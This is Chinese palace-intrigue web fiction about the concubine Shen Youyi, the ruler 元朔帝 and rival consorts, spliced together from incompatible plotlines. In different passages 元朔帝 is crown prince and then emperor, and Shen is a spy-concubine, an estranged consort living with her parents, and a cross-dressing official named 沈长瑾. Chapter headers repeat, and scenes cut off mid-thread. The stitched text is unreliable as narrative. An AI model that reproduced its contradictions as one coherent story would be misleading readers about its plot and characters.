“平身。”元朔帝指了指对面的圆凳,示意江恒之坐下用膳。 后面有侍女走过来为江恒之布菜,但被他拒绝。经常在军营中混迹的人不讲究这些规矩,也没有让人伺候布菜的习惯。 江恒之记得表哥元朔帝也不用下人布菜的,怎么今日有所不同,他目光从沈幼宜身上扫过,视线停留在她脸上几瞬,眉头微蹙。 “你坐下吧,不用你布菜。”元朔帝留意到江恒之的目光,他转头看了眼沈幼宜极为引人注目的脸,开口让沈幼宜坐在他下首的圆凳上。 这位美人明显不是下人。 江恒之用询问的眼神看着元朔帝,问道:“殿下,这位是?” “东宫奉仪沈氏。” 东宫嫔妾很多,在东宫见到女人不奇怪,江恒之多问一句只是因为觉得沈幼宜这张脸很眼熟,像是在哪里见过。 江恒之对着沈幼宜点头致意,没多说什么,他回想着这段时间见到的各种面庞,终于想起来他是什么地方看见过几位相似的面庞了,他盯着沈幼宜的眉眼,仔细看了会,引得元朔帝频频侧目。 元朔帝沉吟片刻,又对江恒之道:“沈氏,便是鸿儿和清儿的生母。” 传说中沈娘娘是极为嚣张跋扈的粗鄙女子,但沈幼宜显然和传闻中有很大的不同。 江恒之诧异一瞬,觉得自己盯着沈奉仪看的行为似乎有些失礼,便解释道:“臣前段日子在皇陵那边监工,遇到一名很是厉害的女工匠,她们眉眼和面部轮廓极为相似,若不是穿着和气质不同,光看容颜的话,还真有些分辨不清。” 元朔帝挑眉,对此言微微侧目,“天下间一模一样的人也是有的,如果不是双生姊妹,那便是巧合罢了。” “妾身家中无姊妹,江大人看见的女工匠,应该是位样貌相似的有缘人吧。”沈幼宜眉心挑了挑,压下心中悸动,平静地回。 能出现在皇陵,还与她相似的人,除了妹妹沈拂就没有别人了,看来魏庄不是在假意威胁她,他们真的将阿拂送到了皇陵那边,倘若她拿不到皇陵布防图,恐怕阿拂就要危险了。 江恒之点头,不再说话了,饭桌上静下来,但沈幼宜的心里却久久不能平静,她心里提起一根弦,江恒之三言两语就让她这根弦绷得紧紧的。 饭后,元朔帝有公事要与江恒之说,便让沈幼宜回海棠阁去,她乖顺应下,刚走出怀德院没多远,就看见一群宫人跟在两个锦衣华服的小少年后面,径直往怀德院里走去。 玉静立马猜到这就是自家娘娘生下的两位小殿下,惊喜扯着沈幼宜的衣袖,高兴地说:“是两位小皇孙来了,娘娘不是日夜思念亲子么,趁现在有机会,娘娘快上前去和两位小殿下说说话吧!都是娘娘肚子掉下来肉,说几句是理所应当的。” “不了,他们应当是来寻太子殿下的,我身份低微,就不上前打扰了,咱们回吧。”沈幼宜转身就走,目光不曾流连在孩子身上。 “唉!娘娘?”玉静一转头就见沈幼宜走远好几步了,连忙提裙追上去。 娘娘这是怎么了?宫里的女人谁不希望有孩子傍身,她家娘娘膝下有子,怎么还不想亲近孩子呢? 其实哪怕阿娘不说,她的四肢仍然完整,心跳如常,好端端坐在这里时就该知道他是怎样想的了。 柏氏小心翼翼观察着女儿的神态,她不敢想象,在家中对父母乖巧柔顺的女儿是如何与天子争执的:“好在这些事情都已经过去了,天家固然富贵,可那些东西又怎是你这样的孩子能承受的呢,等你再养上些时日,咱们就到各地去走一走,离开这地方。” 可是她这位曾将美人牢牢握在掌中的君王丈夫那般决绝地抛弃了宜娘,不单单是安排了这许多禁军守卫,每隔数日,会有内侍来问皇后安,还要问一问那位昏迷中的沈娘子可曾清醒。 第 60 章 第 60 章 仿佛除了他肯花那样的人力物力,谁也无法精心养护这倾国倾城的美人。 可她怎么会照顾不好宜娘呢? “塞翁失马,焉知非福。” 午后不冷不热,气候正好适合散步乘凉。 沈幼宜出门早,没撞见东宫后院的人,回来就躲不开了,碰上的人还正好是曾经的老对头——昭训云氏。 云昭训闺名云烟,是太后母家的旁支嫡女,四年前与沈幼宜有些过节,一直不对付。 “沈妹妹之前走的时候姐姐我伤心了好一阵,以为沈妹妹一直待在云华行宫回不来了,没想到有生之年还能再相见,这可真是、世事无常啊,回来了就是好的,沈妹妹你说是吧?”云烟说话阴阳怪气,表面温柔娴静,实则口腹蜜剑。 这个沈幼宜是个不长脑子的,从前随便说点什么就能轻易激怒,让她如泼妇般失态,现在想来也如此吧,这样愚蠢的人,就算生了皇孙又能怎么样呢,还不是不招殿下喜欢。 云烟眼底带着一丝嘲讽,等着沈幼宜原地发疯,但她盯着沈幼宜看了好一会都没等到沈幼宜张口。 “沈妹妹?你怎么…不说话呀?可是走了太久,不认姐姐是谁了?” 玉宁在身侧拉了拉沈幼宜的袖子,示意她不要冲动,沈幼宜沉默片刻,踱步走近几步,笑道:“姐姐?在哪啊?你我无亲无故的,怎好姐妹相称呢。” “沈妹妹这样说,是忘了宫里的规矩了么,咱们都是太子殿下的女人,自然想要以姐妹相称啊。” 沈幼宜噗的一声笑出来,眉开眼笑,昳丽精致的眉眼如牡丹盛开般娇艳。 “太子殿下的女人?”她顿了顿,上下扫了一眼云烟,娇笑道:“你、是吗?” 配合上沈幼宜眼中的讽刺和不屑,云烟瞬间咬了咬牙,感觉被沈幼宜戳到了痛脚,太子殿下确实从未临幸过她,这东宫大部分的女人都和摆设差不多,也正是因为这样,诞育两个皇孙的沈幼宜才能如此嚣张。 “同为东宫嫔妃,我品阶还高于你,沈妹妹,你怎可如此辱人!”云烟双眼湿润,哭哭啼啼抹眼泪。 沈幼宜笑着看戏,身旁的玉宁无奈扶额。 我的娘娘啊,回来之前不是说好了要端庄吗!怎么,没多久就破功了呢!明明不理会就可以了。 “这是怎么了,东宫里可许久没有这么热闹了?”清灵的女声由远及近,随着她的走近,带来一阵好闻的清香。 闵樱带着一群婢女走到云烟面前,温柔安慰,“云妹妹这是怎么了,有什么委屈尽可和姐姐说一说,莫要独自生气才是。” “见过闵侧妃。”云烟恭敬行礼,然后将刚刚发生的事情娓娓道来,看向沈幼宜的眼神里带了一丝幸灾乐祸。 要知道这位闵侧妃与沈幼宜之间的关系可是不死不休的,四年前沈幼宜有孕,在东宫养胎,而闵樱那个时候还不是侧妃,是闵家万千宠爱的掌上明珠。 她们之间的恩怨可大着呢,闵樱心悦太子,经常借着亲哥哥是太子伴读的身份来东宫送东西,她自认身份高贵,向来不将东宫后院的女人放在眼里,更觉得沈幼宜一个婢子上位实在是低贱至极,有次在东宫遇到,便出言嘲讽。 但沈幼宜脾气更是嚣张跋扈,也是个不能惹的,仗着身怀有孕,强逼着东宫一众下人惩戒闵樱,东宫下人不敢动手,沈幼宜就亲自上阵,她虽然身子不方便,但力气大得很,轻而易举将闵樱推进湖里。 正值冬日,湖水刺骨得冷。 闵樱出生时早产,身子骨很弱,这下子就更弱了,太医更是断言,以后生育艰难,应是不会诞育子嗣了。闵家找上门来,请陛下给个说法,闵家想要东宫的名分,也想要皇家处置沈幼宜。 沈幼宜当然死不足惜,但陛下很是看中她肚子里的孩子,说什么都要护着,而且闵樱对皇嗣出口不逊,也是有一半过错的。 最后,陛下和江皇后对沈幼宜的处置是禁足三月,对闵樱的补偿是迎进东宫做侧妃。 至于沈幼宜,说是禁足了,但她根本就没受到什么惩罚,轻飘飘地被揭过。 经过此事,闵樱恨的人就是沈幼宜,没有之一。 能借机惩戒沈幼宜,闵樱当然不会放过,她家叔伯几个都在朝为官,家族鼎盛,怎么会怕沈幼宜区区一个太子奉仪! “沈妹妹见了我,怎么都不行礼?四年不见,沈妹妹已经连最简单的礼数都忘了吗?”闵樱笑容中带着如蛇蝎般的狠毒意味,她不想和沈幼宜废话,直接说道:“既然沈幼宜不懂礼数,那姐姐我代为管教一下吧,侧妃管教奉仪,是情理之中的事吧。” 沈幼宜面无表情地略微欠身,不仔细看都没发现她是在行礼。 “两位娘娘,我家娘娘今日身体不适,还请两位宽恕,稍后玉宁一定带上礼物去两位娘娘院中赔罪,现在日头不早了……” “这里还轮不到你一个奴婢说话吧。”闵樱冷冷呵斥玉宁,转而对着沈幼宜假笑,“沈妹妹既然连行礼这么简单的事都做不好,实在是该反省反省,不如就跪在这里直到日光消散,作为一点小小的惩戒。” 闵樱身边的下人很多,硬碰硬是吃不到好处的,何况闵樱是侧妃,位分确实比沈幼宜大很多。 沈幼宜静默一会,轻笑一声,大大方方地跪下了,脸上不见丝毫被羞辱之色,“侧妃娘娘说的是,妾身认罚就是了。” “你识趣就好。” 要是沈幼宜反驳就理由可以重罚,结果沈幼宜居然就这么认了,闵樱略有些可惜,但无妨的,她以后有的是功夫报复回去。 闵樱和云烟脸上都难掩得意神色,两人说说笑笑地相携而去,留下沈幼宜跪在湖边亭子旁的青石路上。 莫约过来半刻钟,玉宁就去拉沈幼宜的胳膊,“娘娘起来吧,没有人看见了。” “闵侧妃可是吩咐了,让我在这里跪到天彻底黑下来呢,这才过了半刻钟,我怎么能起来呢!”沈幼宜不起,边说着边往怀德院那边瞄。 “没什么要紧的,东宫里除了太子殿下,没人能惩戒娘娘。”玉宁身为婢女,说出来的话很是不敬重,分明没将东宫后院的嫔妃们放在眼里,但她曾是太子心腹,从她口里说出来的话是很有分量的。 见沈幼宜不起,玉宁注意到她的眼神,顺着她的眼神看去,立马就猜到了沈幼宜在打什么主意。 “娘娘起来吧,万一殿下回来得很晚,您岂不是白白在这里跪几个时辰。” 玉宁斟酌话语,继续劝道:“再说,东宫发生什么事情都瞒不过殿下的,殿下他也清楚娘娘您的性子,要是真在这里跪下去,可别弄巧成拙才好啊。” “没事的,多跪一会不打紧,我身强体健的,不怕这点苦。”沈幼宜摆摆手,一双眼睛紧紧地盯着怀德院那边。 她唇边带着狡黠的笑意,眼里满是希冀,似乎是想用这样的方式吸引太子殿下的主意,哪怕这样得不偿失,她也是甘愿的。 玉宁成功被自家娘娘感动,心里暗叹沈娘娘用情至深,便不再劝她起来了,只好陪着一起跪下。 沈幼宜余光看见玉宁的神情和动作,眼睛眯了眯,唇角微微勾起一抹不易察觉的笑意。 过了一个时辰,元朔帝从户部返回东宫,身边还跟着几个年轻的官员,一同走进怀德院。 身侧的年轻公子眼尖,瞧见不远处有一美人跪着,立马笑道:“殿下后院芳菲满园,随处可见是绝色啊。” 周围几人顺着凌酒言所指的方向看去,目光触及他口中的绝色,立马都收回了视线,不敢多看。 这里是东宫,能出现在这里的美人必是太子殿下的女人,他们都是外臣,不好意思多看的。 也就是凌酒言胆大,仗着自己是太子的亲表弟,什么话都敢说,这位凌家小少爷是江皇后已逝亲妹妹的幼子,他幼时凌家因为拥护皇家太祖而遭难,小小年纪被迫流浪在外,七年前才被寻回凌家。 凌家长房长子已承侯爵位,分了大部分家产,凌酒言归来时,家中父母俱逝,没有什么能留给他的,皇家为了弥补过失,陛下亲封凌酒言为长乐候,给了凌家一门两侯的荣耀。 “美人可怜,表哥不去看看?”凌酒言笑着对元朔帝说。 “公事在身,莫要胡言乱语。”元朔帝看了一眼沈幼宜那边,神色淡淡让人看不出情绪,他嗓音寡淡,一如往常那样威严冰冷,提步进了怀德院,似乎对什么美人什么绝色没有丝毫在意。 身后几位年轻官员暗暗赞叹,相互对视一眼,无不赞叹储君圣明冷肃,将来必是位将国事放在心中的明君,美人都长成那样了,殿下居然视而不见,无动于衷,可见定力十足,果然不是寻常的凡夫俗子啊。 凌酒言被元朔帝呵斥,转头去看沈幼宜那张楚楚可怜又引人沉沦的脸,暗暗冷笑。 还真是不受宠呢,果然如他所料,元朔帝一点不喜欢沈幼宜,不屑于多看一眼,前几日在云华行宫时沈幼宜还跟他那么神气嚣张,现在他且瞧着,看她怎么在东宫翻起水花,怎么再怀上一个皇孙。 又是一个时辰过去,朝堂上的事情说完,怀德院的官员都散去。 夜幕悄悄降临,福案派人传膳,摆了一桌子的菜肴。 “殿下忙了一下午,到现在还没有用膳,多少吃点吧,不然皇后娘娘又要担忧了。” “嗯。”元朔帝揉揉眉头,扔下手中的奏疏,坐在圆凳上看着福案布菜,他沉默一会,突然问道:“人走了没?” 福案反应了一会才意识到殿下问的人是谁,官员们都已经出去,殿下现在问的当然是跪在外面的沈奉仪了! “回殿下,沈娘娘还在外面跪着呢。” 元朔帝拿起筷子用膳,没吃两下又将筷子放下,冷笑一声。 他不知道后院发生了什么事,但他知道沈幼宜是什么样的人,做女人跋扈成沈幼宜这样的,元朔帝也是头一次见,这东宫的后院里,真的有人能让她乖巧罚跪?她怎么可能这么听话? 大概率,这只是沈幼宜特意做给他看的柔弱戏码,明明没长脑子,却偏偏要卖弄心机,自以为勾引人的手段高超,实则拙劣到他懒得拆穿。 福案在心里组织措辞,正要说些什么,谁知太子殿下倏地起身往外走,“殿下?” 殿下怎么出去了?不是吩咐了不用理会吗? 皇后不愿意在沈幼宜面前吐露出帝王的近况,轻轻叹道:“我听子琰传来的密信,这些时日都城可不大太平。” 沈幼宜眼睛几乎亮了一下,旋即低下头,怯怯道:“是城中有叛乱么?” 太子若铤而走险,那于她而言无疑才是最有利的。 60-70 第 61 章 第 61 章 两仪殿中,灯烛燃了一夜,只余一点残辉飘摇。 隐隐有孩童的哭声从内传来,然而只是一瞬,又被堵了回去。 元朔帝做祖父时年纪尚轻,太子对这个儿子亦不关注,是以他对待这个唯一的孙辈算不上十分疼爱,平日里揽在怀中亲昵的时光自然少之又少,但见不得乳母如此惶恐,侍奉之时将这种情绪也展露在主子的面前。 他吩咐人将那孩子抱过来,但衡山郡王对外界的感知已经有了大致的判断,小小的身子挣扎起来,不肯教皇帝挨一下。 元朔帝见那孩子脸挣扎得通红,如此倔强,便也不再勉强,淡淡道:“教他的母亲抱一抱。” 云良娣跪在地上,挣扎站起身来,战战兢兢接手,她没有老实到为太子妃隐瞒罪证的地步,但丑事一出,陛下连最宠爱的贵妃都赐了自尽,至今秘不发丧,她虽生有陛下唯一的皇孙,能越过太子一步登天自然好,可失去了太子,她的儿子当真能得到阿翁青睐么? 衡山郡王只是受了惊吓,在母亲的怀中很快阖眼睡去,又被送回内殿,云良娣才继续道:“妾也是入府多年后才听得几句流言……殿下并不喜爱太子妃,之所以向陛下开口求娶,不过是与修媛赌气,偏要选一个小门小户的温顺女子。” 贵妃当年寻到东宫前,太子妃还故作平静地同她们说,或许很快会有一个姊妹住进来,这样的话在陵阳侯死后,她又从太子近侍处听到了一些。 凌酒言嗤笑一声,“接你回去又有什么用,你那两个儿子被江皇后养着,你回去了也争不了孩子,他们自出生起就没见过你,可曾知道生母长什么样?他们可是真真正正的萧家人,以后怎会为我们所用。” 凌酒言从袖子里掏出一本薄薄的册子,手腕微微用力,精准扔到沈幼宜面前的桌子上,“这是义父让我交给你的,里面是我们这些年安插在宫里的一部分暗桩,这些人以后都交由你差遣,义父说,让你无论用什么办法,都要再怀上一个皇孙,亲手教养长大,以后才好为我们所用。” 沈幼宜不置可否,勾了勾唇:“看来我是要回去了,不然你怎么会把这个交给我。” 凌酒言口中的义父就是沈幼宜的生父,他们向来无利不起早,若是她没有了用处,怎么会大老远跑到这里来给她送东西。 “算你有些脑子,不至于太蠢笨。”凌酒言轻哼一声。 沈幼宜收好册子,下了罗汉榻,缓缓走到凌酒言面前,面上挂着温柔和善的浅笑。 “凌酒言,你可知我们之间谁才是主子,谁给你的胆子这么与我说话?” 凌酒言不屑,神情倨傲:“我们在京中的势力大部分都在我手中,你做什么事之前,也得听我的,再说你一个女子,如何能拿得起正事,老实听话便是了。” 他话未说完,一双纤纤玉指就捏住了他的下颚,手指缓缓用力,看着柔若无骨,却力若千钧,疼得凌酒言说不出话来。 凌酒言坐在太师椅上,沈幼宜站在他面前,只用几根手指就钳制住他的口舌,让他火冒三丈又无可奈何。 “就你这三脚猫的功夫也要在姐姐面前放肆么?”沈幼宜笑得妩媚动人,手下却一点不留情,疼得凌酒言变了脸色,“管住你的嘴,不然我哪日心情不好,说不定要拔了你舌头出出气。” 凌酒言不服气,出手想要打开沈幼宜的手,但沈幼宜身手实在厉害,没有三招就将他制服,那只白皙柔美的素手在他脸上掠过,轻飘飘就能划出一道血痕来。 “你实在孱弱得很,不配我动手。”沈幼宜松开了他,望向窗外,冷冷道:“从哪里来,就哪里滚,莫要惊动了殿外的侍女,连累了我给你善后。” 凌酒言看着沈幼宜的眼睛里带着浓浓杀意,奈何打不过她,还手不得,只能冷哼一声,翻窗离去。 撵走了碍眼的人,沈幼宜悠然回到罗汉塌上,继续收棋子。 没一会,殿门被敲响,侍女玉宁的声音传进来,“娘娘可睡下了?” “尚未,是玉宁么?你进来吧。”“我生母是沈家女,沈家多出双生子,我本就是双生姊妹,诞下双生子有什么奇怪的。”沈幼宜给自己倒了一杯凉茶,轻轻啜饮了一口,“怪只怪你做得太差,压不住京中的流言,任由人家抓住机会了。” 沈幼宜虽在生父身边长大,但她与双生妹妹却都是随母族姓氏的,不只是她们姐妹,她所有同父异母的兄弟姐妹都是随母姓。 “还不是你没用,为元朔帝生了两个儿子也抓不住元朔帝的心,流言虽广,但决定权还是景国皇帝皇后手里,那江皇后看见两个孙子都笑地合不拢嘴,还想着晋你的位分,结果懿旨被元朔帝拦住,他不仅对你没有丝毫怜悯之心,还极度厌恶你,恨不得将你送得远远的,这辈子都看不见才好。” 凌酒言嗤笑看她,话音一转,玩味道:“别以为我不知道你是怎么怀上那对金疙瘩的,还不是靠着从西域花大价钱买来的绮梦散,不然就以你那……”他说到这顿了顿,眼珠往其他地方一偏,“蒲柳之姿,怎么会有男人看得上你。” 这话属实是为了嘲讽而嘲讽,丝毫不顾及事实,但凡换个人对着沈幼宜那张脸都说不出“蒲柳之姿”这个词。 沈幼宜神色渐冷,茶盏放在桌上发出“咚”的一声。 玉宁快速走进,面上带着笑意,站定在沈幼宜面前,微微行礼,“玉宁恭喜娘娘,终是得见云开了。” 沈幼宜故作惊讶地看着她,不解道:“这是怎么了?大晚上你行什么礼,是外面发生什么事了吗?” “玉宁是来恭喜娘娘的,宫中来了消息,五日后,东宫会来人迎娘娘回去。”玉宁从沈幼宜有孕起就跟在她身边,至今已经有五年了。 总见沈娘娘因为被送到行宫来而郁郁寡欢,伤心落泪,玉宁被沈幼宜的情绪所感染,如今见到她得偿所愿,也是真心为她高兴。 沈幼宜手中棋子掉落在棋盘上,又从棋盘滚落在地上,发出清脆的响声。 她满脸不可置信,愣了好一会才反应过来,惊喜到快要落泪,不知道要说些什么。 “真、真的么?我是不是在做梦?”沈幼宜声音颤抖,一把抓住了玉宁的胳膊,“玉宁你告诉我,这是真的吗!我真的没有做梦吗?” “真的,是真的。” 玉宁安慰沈幼宜好一会,见人终于冷静些了,俯身拿茶壶给她倒茶。 茶水倾倒,竟然是凉透了的,没有一点热气。 玉宁蹙眉,“这梦华殿的婢子太不像话了些,她们刚刚离去,这茶该是温热的才对,怎能如此怠慢,让娘娘喝凉的茶水。” 沈幼宜无所谓地摇头,仿佛还沉浸在即将被接回东宫的喜悦之中没有回神。 “不碍事不碍事,我在这里住了四年,没人管没人问的,被怠慢也属正常,实在怪不得她们,人情冷暖,本是如此的。” 玉宁见沈幼宜的表情就知道她是欢喜极了,居然连这事都不计较了。 要知道沈娘娘是有小性子的人,对待下人其实是有点跋扈的,放在平常必定会让她去算账。 玉宁轻叹,屈身半蹲在沈幼宜面前,“天色已晚,玉宁扶娘娘歇下吧,娘娘一觉醒来,离回去的日子就又近了些。” 沈幼宜满口答应,顺从地去了内殿,解开头发躺下。 “娘娘睡吧,玉宁今夜守夜,就在外殿守着您。” “好。” 沈幼宜保持这喜极而泣的神情,直到玉宁走远,才冷下眸子,脸上再也看不见一点儿欢喜的神采。 玉宁放下帘缦,轻手轻脚走了出去,她见棋盘上还有棋子未收,就过去收棋子。 垂眸的一瞬间,玉宁愣了下。 这收到一半的棋局,怎么有些像是秋歌棋谱上最难的那个困局呢?但仔细看看又不太像,秋歌棋谱上的棋局都极为难懂,寻常人根本解不开。 玉宁没多想,立马否定了自己,这怎么可能秋歌棋谱,一定是她看错了。 娘娘下棋都是她教的,为了打发无聊日子。 不过巧合而已。 等沈娘娘回了东宫,她的全部心思就该放在太子殿下身上了。 娘娘实在爱极了太子殿下,比起喜欢这个词,玉宁觉得痴迷更适合形容娘娘对太子殿下的爱意。 凡是太子殿下在的地方,娘娘眼里就看不见其他人,就算亲生孩子站在面前,她的注意力也全都在太子殿下身上。 她如今只是有点难过抉择之后会失去的部分,一时瞧不见自己前路的好,过些时日或许就把这点失落抛诸脑后了。 又或者,她还会回到那个自己熟悉的地方去,不过这种可能有些渺茫。 柏氏想到这里也生出几分忧色:“宜娘这些时日身子是有些不对,怕是在榻上躺久了,人思虑得又多,落下些毛病,每餐连一碗饭也用不了。” 可这孩子如今不比以往,她没了后妃的名分,多一事不如少一事,不肯请太医诊治,只说心情不快,过些时日自己就能好。 可这张小脸上的肉一点点减下去,她只能多做一点家乡菜哄女儿多吃些,但宜娘饿得大约太久了,每回吃多一些便觉得心里不好受,他们夫妻也不敢勉强。 沈怀安面露关切,旋即想到了些什么,神色微沉,他望了望沈幼宜略显疲倦的面色,轻轻道:“宜娘,你……该不会是有孕了罢?” 第 62 章 第 62 章 沈幼宜略有些赧然,阿兄一个未婚的男子,对女人的事情知道得并没有那么清楚,她嗔恼地瞥他一眼:“没有的事情,我怎么会有身孕!” 她来没来过月事,难道自己心里还不清楚么! 柏氏本也有这等猜测,可要是宜娘怀了孕,圣上是不会允许皇嗣流落在外的,见女儿如此斩钉截铁,轻轻道:“维行,你就别惹你妹妹了,她还需要静养一段时日。” 宜娘并不喜欢陛下,此刻怀上天子的孩子,也绝非什么好事。 沈怀安若有所思地点了点头,他陪父母亲用过膳,说了些在牢狱中的见闻,却不像父母那般回到自己的住处,而是留下来与妹妹手谈一局。 按照规矩,父亲与他都该远离内宫居住,然而皇后是个随性的人,将足可容纳数位嫔妃的宫殿拨给了沈家暂居,如果想来探望宜娘,随时都可以过来,但他们也不会因此产生什么尴尬。 失去了后妃臣子的界限,他们的相处却反而不如从前亲密,沈怀安敏锐觉察出宜娘今日目光的闪躲,似乎并不怎么在意棋盘输赢。 他温声道:“宜娘是不识得我了么,怎么和阿兄也没话说?” 落日西沉,余霞成绮。月上柳梢,瑞王的席宴,总要至子时才罢休,沈幼宜每每提前告辞。 雅舍中的女郎,都是瑞王府做主,供宾客随心所欲择选。若当真有中意的,还可带回府上,做个通房已算抬举。于这里的姑娘们而言,已经算是条好出路。 沈幼宜在觥筹交错中离席,众人倒都能理解几分。 他才定下与首辅千金的婚事,当然要持身自好。否则首辅不悦不提,若是在成婚前添了侍妾子嗣,名声上也不好听。 不过话也绕回来,瑞王殿下厚待沈长瑾,其余人当然不会说什么。 出了华乐坊,天已擦黑,身后的酒楼灯火辉煌。 沈幼宜离席比原定的时辰早了两炷香,正巧她还有些饿,走了几间店铺,到不远处的德丰斋坐等。 她在风月之所从不敢多用席间饮食,而德丰斋的点心则是名盛于京城。 沈幼宜要了一碗粉蒸酥酪,一碟芙蓉糕,一碟金叶酥,一碟吉祥果,一碟佛手卷,再要一份榨菜鲜肉的酥饼,一份酥肉,咸甜适口。 如此多的吃食,伙计望了望有几分醉意的俊俏郎君,不敢轻易答应。 沈幼宜摆摆手:“每样先挑一两块端上,其余的走时包回府中。” “得嘞,您稍等。” 沈幼宜挑了个靠里间的位置坐下,酥饼是师傅现烤的,她瞧那面团渐渐膨开,香气扑鼻。 天边惊雷乍响,天还没黑透时,下起了瓢泼大雨。 沈幼宜淡定吃了半块佛手卷,望雨势急促。 街上已无行人,显得有些冷清。 因骤雨的缘故,天黑沉沉的,催人归家。 直到过了约定的时辰许久,沈府的马车还是未出现在街头时,沈幼宜难免有些心焦。 她猛然惊觉,自己白日出门时,莫不是与李叔交代错了地方? 她越想越觉怀疑,雨帘细密如织,比方才倒是小些。从华乐坊回双仪巷,还剩好一段路。 沈幼宜一时没有主意,干脆坐回位上,又要了一盏桂花饮。 瑞王偏爱的玩乐之所总在那么几处,雨势不停,或许怀月发觉端倪能转来此处。 华乐坊中依旧歌舞升平,沈幼宜转动银勺,还好明日是休沐,无需担心。 德丰斋的伙计客气来问上一句,何时为客官包好点心。 “不着急。”沈幼宜心里亦没底。 枯坐许久,她听雨声滴答,都有些昏昏欲睡。 她依旧没等到沈府的马车,却意外撞见了另一位熟人。 “长毅!”待沈幼宜反应过来时,已然唤了出口。 雨幕中,长毅得主子一声吩咐,停下马车。 太子殿下修长如玉的指节挑起马车侧帷,骤然见到太子,沈幼宜愣了片刻。 夜色下她后知后觉,这辆马车与前时出城的那辆,似乎有些相似。 她扯出一抹笑:“殿下安好。” 元朔帝声音无波:“何事?” 横竖已经叫停了车驾,沈幼宜厚颜道:“殿下如若顺路,可否,可否捎我一程?” 长毅:“……” 马车停至檐下,长毅跳下车,替沈大人提上四包精致糕点。 沈幼宜坐到车厢内熟悉的位置,又粲然笑了笑:“多谢殿下。” 转头她交代长毅:“放这儿就行。” 甜腻的脂粉香气搅了车内原本的沉水香味道,元朔帝微不可察地蹙了蹙眉,打量过眼前人。 想也知道,她是从何处而来。 白瓷描金的茶盏中盛了温水,元朔帝递到沈幼宜面前。 沈幼宜受宠若惊接过,反应还慢了一拍。 皇家琼林苑内,江南贡来的名花得匠人精心培育,夕阳下愈见绚丽。 近酉时光景,前来赴宴的臣工与新科进士少有安坐席上者,多散于苑中吟诗赏花,以文会友。 历来琼林盛宴,乃是士子无上荣光,更是朝廷新旧官员彼此相熟的好时机。 右首席位,内阁首辅陈祯不紧不慢地啜饮清茶,紫袍上所绣仙鹤绕于祥云间,神态毕现。 新入朝的士子们脚下犹疑,文臣之首,以他们的身份难得有机会拜见。 况且首辅在朝三十余载,一路辅佐陛下登基,深受帝王倚重信赖。全盛之时,阁臣五人有三位皆出自陈府门下,道一句权倾朝野不为过。 然而…… 难题摆在眼前,士子中央,今岁的探花郎林晋心思最是活络。他登科时年岁不过二十有二,尤其立在不惑之年的状元与榜眼旁,更是难掩春风得意之神采。 他邀上七八位同年的进士一同拜见首辅,既不谄媚热切,又全然不失礼数。 陈祯泰然受了晚辈的礼,琼林宴岁岁如此,这些新科士子存的心思也都分明。 瞧其中有几位年轻的面孔,他轻拨茶盏,随意提点几句,又道:“长瑾还未至?” 首辅大人问话,立时便有人接上:“户部近来事务冗杂,许是因公务耽搁了。” 林晋已退远几步,闻言知晓首辅口中提到的人便是元和二十九年的榜眼,沈砚,沈长瑾。 虽未谋面,但同为登科的进士,在场诸人对沈长瑾的名号多有耳闻。他十六岁问鼎一甲,在朝为官三载,已官拜五品户部主事。说来那年的状元颇有些争议,沈长瑾与李状元的文章各有千秋,主考官难以判定。是因太子殿下道沈长瑾的文章虽则出彩,但欠济世之心,故而定其屈居榜眼。 而林晋知道沈长瑾,还因一小段插曲。白日里打马游街时,本是春风得意的热闹,他偶然听得街旁女郎言语:“……探花郎的样貌也好,只是远不及沈郎。” 少年得志,探花郎早便习惯周遭赞赏言语,在官员间谈吐往来渐有游刃有余之感。 女郎们的几句笑语夹在春风中,试问她们谈及的沈郎,除了沈长瑾,还能有何人? 他倒是真想会会这位朝中青年才俊。同在朝为官,日后打照面的地方不会少。 天边晚霞灿烂,天色渐晚,席上已坐满近半数宾客。 琼林苑中灯火渐次亮起,喧嚣与热闹之中,未有刻意的通传。 只是当那着一袭绯红官袍的年轻公子自阶下徐步而来时,惊鸿一瞥,竟叫看客再挪不开目光。 落霞的余晖镀于他身畔,来人沈颜之盛,几乎立时成为苑中景致最浓墨重彩的一笔。连他眉眼间淡淡的一抹疲色,都添一段说不清道不明的清隽雅致。 周遭仿佛静了一刹,直到年轻的郎君开口。 “老师。”沈幼宜拱手一礼,行云流水般从沈。 这一语,才叫周围士子如梦初醒似的。 听闻那年放榜,沈长瑾甫一上街,雨点般的香囊、花枝全部向他抛去,羡煞旁人。与他同登科的探花郎亦是俊俏公子,家世更是不俗,竟生生地成了陪衬。 如今见到这位沈郎君本尊,方知晓传言非虚。如玉一般精致的沈颜,惊鸿一面,便能叫人念念不忘多年。且沈长瑾这一份漂亮,并非山间明月般高不可攀,而像是染了俗尘,融于富贵锦绣中。 林晋暗自揣测,素日在朝为官,这副样貌至多是锦上添花,还需凭真才实学。 晚风轻轻吹动墨发,沈幼宜自然不知道一面之缘的探花郎心中所虑。 首辅开口:“今日琼林宴,陛下亦有言在先,不必太过拘束。你们年轻一辈且好生贺一贺。” “老师说得是。” 沈幼宜唇畔含了两分笑意,明白恩师的意思。 单那一抹笑,让原本就瑰丽的沈颜愈发有夺魂摄魄之感。 陈祯笑着摇头,无怪乎眼高于顶的长女都动过心思,倒也无伤大雅。 拜见过恩师,沈幼宜回到自己席间。 今日的琼林宴礼部有心安排座次,前二甲的进士皆相邻。 抛开首辅门生的名号,沈幼宜乃正统科举出身,在读书人中本该有一席之地。 虽则她年岁尚小,但进士登科,惯例是按及第之年论资排辈,鲜有同辈能在她面前造次。 她这一到士子当中,尚未寒暄过几句,不少人的目光都变得意味深长起来。 沈长瑾好好的进士一甲,原本前路已是通达,偏偏存了走捷径的心思,拜入首辅门下。 谈及内阁首辅陈祯,总离不开一句擅转弄权,结党营私。 这些年,陈府门下党羽跋扈更甚,无真才实学者忝居高位,清流文士多不屑与陈党为伍。 不过背靠陈首辅这一棵大树,到底好乘凉。就好比沈长瑾那五品官职,便是首辅力排众议保举的结果。 在朝堂上,首辅言内举不避亲,又以沈长瑾南下赈灾的功劳,奏请陛下擢升沈长瑾官职。 恰逢户部人才青黄不接,太子殿下亦无异议。 放眼朝中年轻一辈的士子中,沈长瑾最是官途顺遂,连初授便是六品修撰的李状元郎都矮上他一头。 若说羡艳未必有多少,须知有得必有失。饶那沈长瑾再如何傲视同侪,眼下太子逐渐掌政,首辅一党……焉知不是明日黄花。 她还那样年轻,心中常自不安,连喝醉了酒都在害怕色衰爱弛,有一日会被他抛弃。 只是当这一日到来时,她待她自己,比他还要狠得下心。 鹦鹉说够了它认为足够的次数,便又懒洋洋起来,徒留一室寂静。 过了良久,连窗外的杖击也停了下来。 